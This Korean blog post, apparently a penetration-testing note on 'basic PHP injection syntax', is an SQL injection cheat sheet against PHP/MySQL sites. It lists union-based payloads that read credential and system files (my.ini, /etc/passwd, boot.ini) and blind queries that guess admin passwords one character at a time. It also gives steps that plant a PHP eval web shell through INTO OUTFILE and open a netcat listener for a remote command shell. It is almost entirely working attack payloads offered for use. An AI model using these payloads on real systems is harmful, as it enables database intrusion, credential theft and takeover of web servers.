1. 삽입 위치 확인
and 1=1 (정상, 이전 페이지와 동일)
and 1-2 (오류가 아닌 이전 페이지와 같음)
2. union 쿼리 수행 여부 결정
and ord(mid(version(),1,1))>51 (4.0이상 가능, 3.0 51 이상)
3. order by 사용 스톰 필드
order by 숫자 (오류 5, 정상 4)
4. union 사용 정확한 필드 쿼리
and 1=2 union select 1,2,3,....... (정확한 숫자 추측)
5. 데이터베이스 쓰기권한 계정 확인 (root권한)
and (select count(*) from mysql.user)>0 (오류는 관리자 계정 암호 추측에 사용)
- load_file(char(파일경로ascii값 쉼표로 분리 또는 16진수 사용)) 기능으로 확인 가능
6. 관리자 계정 비밀번호
- 내용 표시 여부 결정
and 1=2 union select 1,user(),3,4,5,6....
주요기능:user() 현재 데이터베이스에 연결 사용자
database() 현재 데이터베이스 이름
version() 버전확인
system_user() 시스템 사용자 확인
current_user 현재 사용자 확인
session_user() 데이터베이스 연결된 사용자 확인
- 정책 확인
and 1=2 union select 1,2,3,4,5,6.... from 테이블이름
and 1=2 union select 1,필드이름,3,4,5,6.... from admin (admin 테이블에 맞게 쿼리 수정)
(부정문이 안될 경우 음수를 사용 : php?id=-1 union select 1,2,3,4,5,6.... from 테이블이름)
7. load_file(char()) 파일 읽기
and 1=2 union select 1,2,3,4,5,6,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),8.........
99,58,92,98,111,111,116,46,105,110,105 (c:\boot.ini 파일경로 아스키값 쉼표 구분 또는 16진수 사용)
- 16진수 사용할 경우
and 1=2 union select 1,2,3,4,5,6,load_file(0x633A5C626F6F742E696E69),8......... (char 입력 안함)
0x633A5C626F6F742E696E69 (c:\boot.ini)
- 민감한 경로
99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105
c:/windows/php.ini windows2003
99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105
c:/winnt/php.ini windows2000
99,58,47,119,105,110,100,111,119,115,47,109,121,46,105,110,105
c:/windows/my.ini windows2003(MySQL 로그인 아이디 및 암호)
99,58,47,119,105,110,110,116,47,109,121,46,105,110,105
c:/winnt/my.ini windows2000(MySQL 로그인 아이디 및 암호)
- LUNIX/UNIX
47,101,116,99,47,112,97,115,115,119,111,114,100
/etc/password
47,117,115,114,47,108,111,99,97,108,47,104,116,116,112,100,47,99,111,
110,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/httpd/conf/httpd.conf (디폴트 경로)
47,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110
,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/apache2/conf/httpd.conf (디폴트 경로)
- FreeBSD
load_file(char(47)) (FreeBSD 시스템 루트 디렉토리)
8. 패스워드를 획득한 경우 (디비서버와 웹서버가 같은 서버인 경우)
- MySQL 원격 접속 쿼리
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'E:/웹경로/empt.php';
Drop TABLE IF EXISTS a;
- MySQL 시스템 권한 사용
nc -vv -l -p 1983
\. c:\mysql.txt
select Mixconnect('로컬IP','1983');
로컬에서 원격 서버 cmdshell 획득 가능
- 오류 없는 정상 쿼리
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2/* (필드수 추측)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8/**/from/**/테이블/* (필드수 확인)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,필드/**/from/**/테이블/* (필드이름 확인)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),7,8/* (공격파일)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,username,7,8/**/from/**/테이블/**/where/**/id=1/* (내용확인)
- 추측 예시
' ; and 1=1 and 1=2
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) --
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(name)>0)
and 1=(select count(*) from admin where len(password)>0)
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 오류
and 1=(select count(*) from admin where len(name)>5) 정상
and 1=(select count(*) from admin where len(name)=6) 정상
and 1=(select count(*) from admin where len(password)>11) 정상
and 1=(select count(*) from admin where len(password)>12) 오류
and 1=(select count(*) from admin where len(password)=12) 정상
and 1=(select count(*) from admin where left(name,1)='a') -- 사용자이름 첫번째 문자
and 1=(select count(*) from admin where left(name,2)='ab') -- 사용자이름 두번째 문자
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
and 1=(select @@VERSION)--
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
모의해킹 (WAPT)
PHP 인젝션 기본구문 이해
PHP 인젝션 기본구문 이해
728x90
댓글